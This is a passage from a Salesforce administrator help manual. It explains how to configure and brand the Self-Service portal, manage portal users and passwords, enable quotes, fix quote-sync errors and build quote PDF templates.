log out of the Self-Service portal, for example,
http://www.acme.com. If a logout URL is not specified,
the Logout button does not display to users.

Default Case Origin

The default origin assigned to all cases submitted via the


Self-Service portal. Available values are taken from your
organization's Case Origin picklist. You can assign
different default origins for cases submitted via Self-Service
and Web-to-Case.

New Cases Visible in Portal

Automatically selects the Visible in Self-Service


Portal checkbox for all new cases, including cases created
via Web-to-Case, Email-to-Case, and On-Demand
Email-to-Case.
Regardless of this default, users creating new cases can
manually set the Visible in Self-Service Portal
checkbox.

1393

Customize

Enabling Self-Service Features and Settings

Setting

Description

Enable Solution Browsing

Enables solution categories in the Self-Service portal so that


customers can browse solutions by category.
If multilingual solutions is enabled, you can translate solution
categories. For more information, see Entering Translated
Terms on page 491.

Top-Level Category for Self-Service Portal The top-level category accessible by customers in the

Self-Service portal. Customers can view all solutions marked


Visible in Self-Service Portal in this category
and its subcategories.
Leave this blank to let customers view all solutions marked
Visible in Self-Service Portal in all categories.
Case Record Type

The record type to assign to any case submitted via the


Self-Service portal.

"From" Email Address

The email address from which all new user and password
emails will be sent, for example, support@acme.com.
When this field is blank, Salesforce uses:
The Automated Case User's email address for users who
receive an email with a temporary password by clicking
Forgot your password? on the Login Page of the
Self-Service portal. The Automated Case User is
specified at Your Name > Setup > Customize > Cases
> Support Settings.
The email address of the user who last posted a comment
for users who receive a case comment notification email.

"From" Email Name

The name that will be associated with the From Email


Address, for example, Acme Customer Support. When
this field is blank, Salesforce uses:
Your organization's name for users who receive an email
with a temporary password by clicking Forgot your
password? on the Login Page of the Self-Service portal.
The name of the user who last posted a comment for
users who receive a case comment notification email.

New User Template

The email template used to send a username and initial


password to all newly-enabled Self-Service users. Self-Service
automatically selects a sample template for you. To create
your own template or modify the sample, see Managing
Email Templates on page 472. This template must be marked
as Available for Use.

New Password Template

The email template used to send a new password to existing


Self-Service users when you reset their passwords or when
they reset their own passwords by clicking Forgot your

1394

Customize

Enabling Self-Service Features and Settings

Setting

Description
password? on the Login Page of the Self-Service portal.
Self-Service automatically selects a sample template for you.
To create your own template or modify the sample, see
Managing Email Templates on page 472. This template must
be marked as Available for Use.

Enable Notification Email on New Case


Comment

When selected, indicates that the Send Customer


Notification option on a case comment is displayed.
Even if this checkbox is not selected, the Send Customer
Notification option still displays on cases if you have
enabled email notifications to contacts who are not members
of your Self-Service portal. See Customizing Support
Settings on page 1366.

New Comment Template

The email template used to send a notification to


Self-Service users when a public comment is added to one
of their cases. Self-Service automatically selects a sample
template for you. To create your own template or modify
the sample, see Managing Email Templates on page 472.
This template must be marked as Available for Use.
Note that case owners are sent a separate notification that
you can't customize.

Enable Case Auto-Response Rules for


Self-Service Cases

Indicates if cases submitted through your Self-Service portal


will trigger your auto-response rules.

Case Creation Template

The email template to use when cases submitted through


your Self-Service portal do not match any auto-response
rules.

Maximum Page Width

The maximum pixel width of the Self-Service pages from


Salesforce. If hosting the portal yourself, this is the width
of the inner HTML frame on your Self-Service login page.

Minimum Page Height

The minimum pixel height of the Self-Service pages from


Salesforce.

Style Sheet URL

The complete, publicly accessible URL of your organizations


Self-Service style sheet, for example,
http://www.acme.com/styles/selfservice.css. See
Customizing Your Self-Service Look and Feel on page 1396.
If you use a predefined color theme, leave this field blank.

Color Theme

Use one of Salesforces color themes if you do not have your


own style sheet to use. Click the View link to see template
settings. To change the fonts and colors of one of Salesforces
color themes, see Customizing Your Self-Service Fonts and
Colors on page 1399.

1395

Customize

Enabling Self-Service Features and Settings

Setting

Description

Case Single Term

Term used on the Self-Service portal instead of case


(singular form).

Case Plural Term

Term used on the Self-Service portal instead of cases


(plural form).

Solution Single Term

Term used on the Self-Service portal instead of solution


(singular form).

Solution Plural Term

Term used on the Self-Service portal instead of solutions


(plural form).

4. Click Save to save your Self-Service settings.

See Also:
Setting Up Self-Service
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages
Generating Login HTML
Managing Self-Service Users
Self-Service Jump Start

Customizing Your Self-Service Look and Feel


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Develop a meaningful look and feel for your entire Self-Service portal.
Follow these steps:

1396

Customize

Enabling Self-Service Features and Settings

1. Customize the headers and footers of the Self-Service pages; see Create Your Custom Page Header and Footer Sections
on page 1397.
2. Customize the Self-Service portal fonts and colors via one of these options:

Choose a predefined color theme or upload your own style sheet; see Customize the Self-Service Style Sheet on page
1398.
Customize fonts and colors using a point-and-click editor; see Customizing Your Self-Service Fonts and Colors on
page 1399.

See Also:
Customizing Your Self-Service Pages
Self-Service Jump Start

Create Your Custom Page Header and Footer Sections


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Apply your companys branding to every page in your Self-Service portal by customizing your page headers and footers. Your
portal page headers and footers can contain a company logo, your company messaging, or your companys colors.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
Click Edit next to the Page Header listed in the Portal Page Sections.
Check Show Header to display the header on your portal pages.
Check Show Header Separator to include a line separating the header from your body pages.
If desired, enter a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as
part of your custom code. See Using the Format Toolbar for descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.

6.
7.
8.
9.

Click Save.
Click Edit next to the Page Footer listed in the Portal Page Sections.
Check Show Footer to display the footer on your portal pages.
Check Show Footer Separator to include a line separating the footer from your body pages.

1397

Customize

Enabling Self-Service Features and Settings

10. If desired, enter a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as
part of your custom code. See Using the Format Toolbar for descriptions of the HTML formatting buttons.
Optionally, check Show HTML to view your page message in HTML code.
11. Click Save.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages

Customize the Self-Service Style Sheet


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Select a predefined color theme, or download a sample Self-Service color theme so you can customize it. This color theme
allows you to incorporate your organizations branding into your Self-Service portal.
Note: To customize the Self-Service color theme using a point-and-click editor, see Customizing Your Self-Service
Fonts and Colors on page 1399.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
Click Self-Service Setup.
Click the View Color Theme Options link in the page settings section.
Find a set of fonts and colors you like and click Download This Color Theme.
To use a predefined color theme without customizing it, simply click Select This Color Theme.

5. Save the color theme you downloaded and give it to your webmaster if it needs more customization. The downloaded color
theme is a CSS style sheet that your webmaster can edit.
6. Store the downloaded style sheet in a publicly accessible location and enter the URL for your style sheet in the Style
Sheet URL field.

1398

Customize

Customizing Your Self-Service Fonts and Colors

7. Click Save.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Customizing Your Self-Service Pages

Customizing Your Self-Service Fonts and Colors


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can customize the fonts and colors of the Self-Service portal to reflect your companys branding. Your portals fonts and
colors are specified in a portal color theme. Select a predefined color theme and customize it using a point-and-click editor.
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Fonts and Colors. Salesforce offers
predefined themes that you can customize. Click Preview to view any theme.
2. Select the color theme you want to customize.
From the color theme page, you can:

Click the Reset to Default link to remove all customizations from a theme.
Click the Back to All Themes link to return to the list of color themes.
Click Preview Theme Nameto view the theme you are customizing.

3. Choose a portal page to customize. Color themes are customized page-by-page with some page elements being shared by
multiple pages.
From the portal page, you can:

Click See Examples to see all of the elements that you can customize.
Click Clear next to an element to remove customizations.
Click Preview Theme Name to view the theme you are customizing.
Click the Back to All Pages link to return to the list of all portal pages.

1399

Customize

Customizing Your Self-Service Pages

4. Click Edit next to the visual element you want to customize. Some elements are visible only on the selected portal page,
and some are shared across multiple portal pages. Changes you make to shared elements affect all pages.
Note: Depending on the visual element, you can customize attributes using a point-and-click editor or a custom
style sheet editor which lets you modify the cascading style sheets (CSS) directly. Choose the click here link to
switch between the two. If you are using the point-and-click editor, select the Show advanced attributes box to
access the click here link. We recommend that only users familiar with cascading style sheets (CSS) define them.
5. Edit the visual element as desired.
If you are using the point-and-click editor:

Click Edit next to a basic or advanced attribute. If you do not see the advanced attributes, select the Show advanced
attributes box.
In the popup window, change the attribute as needed.
Click OK to confirm your changes in the popup window.
If you are using the custom style sheet editor, enter valid CSS code.
For a list of all the page attributes you can edit, see Self-Service Page Attributes on page 1401.

6. Click Save to save all changes to the visual element and its attributes. Customizations are not visible to your Self-Service
users until you set the color theme as active.
7. Repeat these steps to customize all visual elements and their attributes as necessary.
8. Return to the list of color themes by clicking the Back to All Pages link and then the Back to All Themes link.
9. Click Set Active Theme.
10. Select the theme to activate for your portal, live and in real-time. Your organization can only have one active theme.
11. Click Save.
Note: Since changes to an active theme take effect immediately, we recommend that you fully customize a theme
before activating it so as not to disturb your customers.

Customizing Your Self-Service Pages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

1400

Customize

Customizing Your Self-Service Pages

1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
2. Make the necessary enhancements to any Self-Service pages. See the following for more information:

Customize the Login Page on page 1403


Customize the Home Page on page 1404
Enable the Solutions Page on page 1405
Customize the Log a Case Page on page 1406
Customize the View Cases Page on page 1407
Customize the Suggested Solutions Page on page 1408
Note:

You cannot create multiple versions of the same Self-Service portal page. However, you can customize each
Self-Service page.
Salesforce Knowledge articles do not display in the Self-Service portal.

See Also:
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Fonts and Colors
Self-Service Jump Start

Self-Service Page Attributes


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up the Self-Service portal:

Manage Self-Service Portal

To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
The following is a list of Self-Service page attributes which can be modified with the point-and-click editor:
Page Attribute

Description

Color

The color of the text.

1401

Customize

Customizing Your Self-Service Pages

Page Attribute

Description

Bold

The bolded value of the text. For example, whether the text
is bolded or not.

Font size

The size of the text.

Font

A specific style of type in which letters are displayed.

Font Family

A prioritized list of font family names for an element. Web


browsers use the first font value recognized.

Underline

The underline value of the text. For example, whether the text
is underlined or not.

Border Color

The color of a border.

Border Style

The style of a border, such as dotted, dashed, or solid.

Border Width

The width of a border.

Bottom Border Width

The width of a bottom border.

Padding

The amount of space between the border and the element.

Padding Top

The amount of space to put between the top border and the
element.

Padding Right

The amount of space to put between the right border and the
element.

Padding Left

The amount of space to put between the left border and the
element.

Padding Bottom

The amount of space to put between the bottom border and


the element.

Height

The height of the element.

Line Height

The height of a line.

Background Color

The background color of the element.

Background Repeat

The format in which the background image displays. For


example, whether the image displays repeatedly in a horizontal
or vertical format.

Background Image

The background image of the element. The relative or absolute


URL which hosts the image must be inside the surrounding
URL() syntax. For example,
url(/sserv/img/tabBg_gray.gif).

See Also:
Customizing Your Self-Service Fonts and Colors

1402

Customize

Customizing Your Self-Service Pages

Customize the Login Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page
is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to
automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary
password when logging in. For details on setting up the new password template, see New Password Template on page 1394.
1. To customize this page, click Edit next to the Login Page listed.
2. Check Show Message to display your message on the login page.
3. Insert a page message. Use the format toolbar to format your page message. You cannot save any JavaScript as part of your
custom code. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
4. Click Save.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

1403

Customize

Customizing Your Self-Service Pages

Customize the Home Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page
is the first page that users see after they log in.
1. To customize this page, click Edit on the Home Page line.
2. You can enable the following features:
Feature

Description

Show Top Solutions List

Lists the titles of up to five solutions of your choice on the


Home Page.

Show My Open Cases

Lists the open cases of the Self-Service user who is logged


in.

Show Message

The message that will be displayed at the top of the home


page. You can enter a message of up to 32,000 characters
including any HTML tags.

3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
5. Click Save.
6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.

1404

Customize

Customizing Your Self-Service Pages

Set the Top Solutions


If you checked Show Top Solutions List from the Home page, click Add in the Solutions related list of the Self-Service
Settings page to search for and select solutions to display on the Home page. You may only select solutions that have been
marked Visible in Self-Service Portal.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Enable the Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows
users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions.
1.
2.
3.
4.

To enable this page, click Edit on the Solutions Page line.


Select the Show Solution Page checkbox.
Check Show Message to display a message at the top of the Solutions Page.
If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.

5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
6. Click Save.

1405

Customize

Customizing Your Self-Service Pages

7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Customize the Log a Case Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows
users to submit new cases to your customer support team. New cases submitted from this page will be automatically created
in Self-Service and assigned to the support representative or queue defined by your case assignment rules.
1.
2.
3.
4.

To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line.
Select the Show Log a Case Page checkbox.
Check Show Message to display a message on this page.
If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.

5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
6. Click Save.
7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page
layout, see Customizing Page Layouts on page 1278.
Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case
if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page.

1406

Customize

Customizing Your Self-Service Pages

8. Click Save at any time to finish.


9. To see how your Log a Case Page will look, click Preview on the Log a Case Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Customize the View Cases Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page
allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add
comments to their cases.
1. Click Edit on the View Cases Page line.
2. Select the Show View Cases Page box to allow users to view their open and closed cases.
3. Select Add Comments to Cases to allow users to add comments to their cases. When a user adds a comment, an
email is automatically sent to the case owner.
4. Select Add Attachments to Cases to allow users to upload files to their cases. When a user adds an attachment, an
email is automatically sent to the case owner.
When editing the page layout for the View Cases Page, add the Case Attachments related list to allow Self-Service users
to view the files they've added to their cases. Be aware that this related list also shows any files that support reps have added
to the case.
5. Check Show Message to display a message on this page.
6. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.

1407

Customize

Customizing Your Self-Service Pages

Optionally, check Show HTML to view your page message in HTML code.
7. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
8. Click Save.
9. To change the fields and related lists that display on the page, click the Page Layout link. For more information on changing
the page layout, see Customizing Page Layouts on page 1278.
Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases.
You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity
page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make
Public or Make Private in the case's Activity History related list.
10. Click Save at any time to finish.
11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.
Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal
checkbox on the case.
Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this
order; nor can they sort case columns in the Self-Service portal.

See Also:
Setting Up Self-Service
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Customize the Suggested Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages:

Manage Self-Service Portal


AND
Customize Application

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

1408

Customize

Generating Login HTML

You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested
Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or
viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. See What are
Suggested Solutions? on page 3248.
To customize the Suggested Solutions Page:
1. Click Edit on the Suggested Solutions Page line.
2. Select Show Suggested Solutions Page to enable the page in the Self-Service portal.
3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select
at least one Closed value for this field.
To customize the Status field, see Picklist Considerations on page 1059.
4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten.
5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases.
To customize the values associated with the Case Reason field, see Picklist Considerations on page 1059.
6. Check Show Message to display a message on this page.
7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 481.
Optionally, check Show HTML to view your page message in HTML code.
8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 460.
9. Click Save.
10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions Page line. If you have
customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Generating Login HTML


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To generate Self-Service portal HTML:

Manage Self-Service Portal

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

1409

Customize

Managing Self-Service Users

After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your
Self-Service portal.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Settings.
Click Generate Login HTML.
Insert the URL or HTML code provided into your portals Web page.
Click Finished to return to the Self-Service Settings page.
Note: You cant be logged into Salesforce and the Self-Service portal at the same time, with the same browser. For
example, if you log into Salesforce and then the Self-Service portal using the same browser, your Salesforce session
becomes invalid. Conversely, if you log into the Self-Service portal and then Salesforce using the same browser, your
Self-Service portal session becomes invalid.

See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Managing Self-Service Users
Self-Service Jump Start

Managing Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users:

Edit Self-Service Users

To mass manage Self-Service users:

Manage Self-Service Portal


AND
Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your
customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable
access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages.

To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 202.
To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 1411.
To change Self-Service user information, see Editing Self-Service User Information on page 1412.

1410

Customize

Managing Self-Service Users

To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 1413.

See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Enabling Multiple Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users:

Edit Self-Service Users

To mass manage Self-Service users:

Manage Self-Service Portal


AND
Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at
once. Each contact must have an email address and must be associated with an account to be a Self-Service user.
To enable new users for your Self-Service portal:
1. Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users.
2. Click Enable New User(s).
3. Enter search criteria to compile a list of the contacts you want to enable and click Search. For instructions on filtering
data, see Entering Filter Criteria on page 2961.
4. Select the contacts you want to enable and click Next.
5. Modify Self-Service user information as necessary.
6. Select the Super User checkbox to enable the contact as a Self-Service super user who can view case information, add
comments, and upload attachments for all cases submitted by anyone in his or her company.
7. Click Save.

See Also:
Managing Self-Service Users

1411

Customize

Managing Self-Service Users

Editing Self-Service User Information


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users:

Edit Self-Service Users

To mass manage Self-Service users:

Manage Self-Service Portal


AND
Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
Edit Self-Service user information to keep user information updated.
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users.
Select the users you want to change.
Click Edit User(s).
Make any necessary changes to these records.
Click Save.

See Also:
Managing Self-Service Users

1412

Administering Quotes

Enabling Quotes

Resetting Self-Service User Passwords


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users:

Edit Self-Service Users

To mass manage Self-Service users:

Manage Self-Service Portal


AND
Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service
users passwords:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Self-Service > Self-Service Portal > Users.
Select the users whose passwords you want to reset.
Click Reset Password(s).
Click OK.

See Also:
Managing Self-Service Users

ADMINISTERING QUOTES
Enabling Quotes
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable or disable Quotes:

Customize Application

To enable Quotes for your organization:

1413

Customize

Troubleshooting Quotes Syncing

1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Quotes > Settings.
Select Enable Quotes.
Click Save.
Select Opportunity Layout to display the Quotes related list on the standard opportunity page layout.
Optionally, select Append to users' personal related list customization to add the Quotes related list
to all opportunity page layouts users have customized.
6. Click Save to finish.

Disabling Quotes
Select Disable Quotes to disable the feature for your organization.
Important: You can't disable quotes if your records have any references to quotes, quote line items, or quote PDFs
from any application customizations, including formula fields, triggers, workflow rules, and approval processes. You
must remove these references before you can disable quotes. You can't disable quotes if you have any quotes synced
with an opportunity. You must first stop syncing all quotes before you can disable the feature.

Troubleshooting Quotes Syncing


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To sync quotes:

Create on quotes

You may get error messages if you try to sync quotes under certain conditions. If so, find your error below and learn how to
solve the problem.
This quote can't be synced because it has inactive or archived products.

If the product isn't active, edit the product and select the Active check box.
If the product has been archived, delete the product if the opportunity is not closed.

This quote can't be synced because it has an inactive or archived price book.

If the price book is inactive, edit the price book and select the Active check box.
If the price book has been archived, delete the price book if the opportunity is not closed.

This quote can't be synced because it has inactive or archived list prices.

If the list price isn't active, edit the list price and select the Active check box for the list price.
If the list price has been archived, delete the list price if the opportunity is not closed.

1414

Customize

Quote Templates Overview

This quote can't be synced because it has an inactive currency.


Activate the currency.
This quote can't be synced because one or more of the schedules for the opportunity products have changed since
the quote was created.
Either create a new quote and sync that one, or open the product and delete the schedule, then recreate the schedule.
The SyncedQuote field is read only within a trigger.
Your organization may be using an Apex trigger that is attempting to modify the SyncedQuote field. The SyncedQuote
field is read only and can't be modified with a trigger. Contact your system administrator to modify the trigger.

Quote Templates Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Watch a Demo (2 minutes)


Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers.
Choose standard and custom fields from Quote and quote-related objects, such as Account and Opportunity, and arrange the
data in groups or tables. You can also add and format rich-text content such as signature blocks and terms and conditions,
display your company logo or other images, and create repeating headers and footers.
Users select quote templates from their quote records, generate quote PDFs, and email them to their customers.
The quote templates feature looks and works a lot like the enhanced page layout editor, so if you're familiar with editing page
layouts, you'll find the template editor just as easy to use.
Important:

If you used quote templates during the Summer '10 beta release, you'll notice a change in how template logos and
signature blocks work. The first time you create a template in the Winter '11 release, if you add any content to
the header or footer, the logo and signature block you previously used won't be displayed. If the new template's
header and footer have no content, the original logo and signature block will appear.

1415

Customize

Creating Quote Templates

If you create a configuration-only sandbox for your organization, templates that contain Text/Image fields
cannot be opened for editing within the sandbox.

See Also:
Creating Quote Templates
Emailing Quote PDFs
Overview of Page Layouts and Field-Level Security

Creating Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

1.
2.
3.
4.

Click Your Name > Setup > Customize > Quotes > Templates.
Click New and select an existing template, such as Standard Template, on which to base your new template.
Give your new template a name.
On the template editor, drag the elements you want, and then fill in the details. If you want to add:

5.
6.
7.
8.

One or more Quote fields or fields from related objects, use a section and add fields to it.
Text that you can edit and format, such as terms and conditions, use Text/Image Field.
An image, such as your company logo, use Text/Image Field.
A table of Quote fields or fields from a different object, such as Quote Line Item, use a list.

Click Quick Save to save your changes and continue working on the template.
Click Save and Preview to preview your template.
Click Save when you're finished.
Return to the Quote Templates page and click Activate.
Tip: If you use Chatter, post an update to spread the word that the template is ready for use.

See Also:
Customizing Quote PDFs with Quote Templates
Viewing and Editing Quote Templates
Previewing Quote Templates

1416

Customize

Customizing Quote PDFs with Quote Templates

Customizing Quote PDFs with Quote Templates


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create quote templates:

"Customize Application"

To view quote templates:

"View Setup and Configuration"

Use quote templates to design, preview, and activate custom templates for the quotes you send to your customers.
Navigating the Quote Templates Editor
The template editor has two parts: a palette at the top and a template layout below.
The palette contains the elements you can add to the layout, including list and section, and fields that you can add to
sections.

Click
beneath the palette to expand or collapse it.
In the left column, select an object to display its fields on the palette.
Use Quick Find to easily locate items on the palette.

Working with the Quote Templates Editor

To add an element to the template, drag it from the palette to the layout. Use a section to add and arrange fields
from the quote object. Use a list to create a table with fields from another object, such as quote line item. The
Text/Image Field lets you enter text or upload an image, such as your company logo.
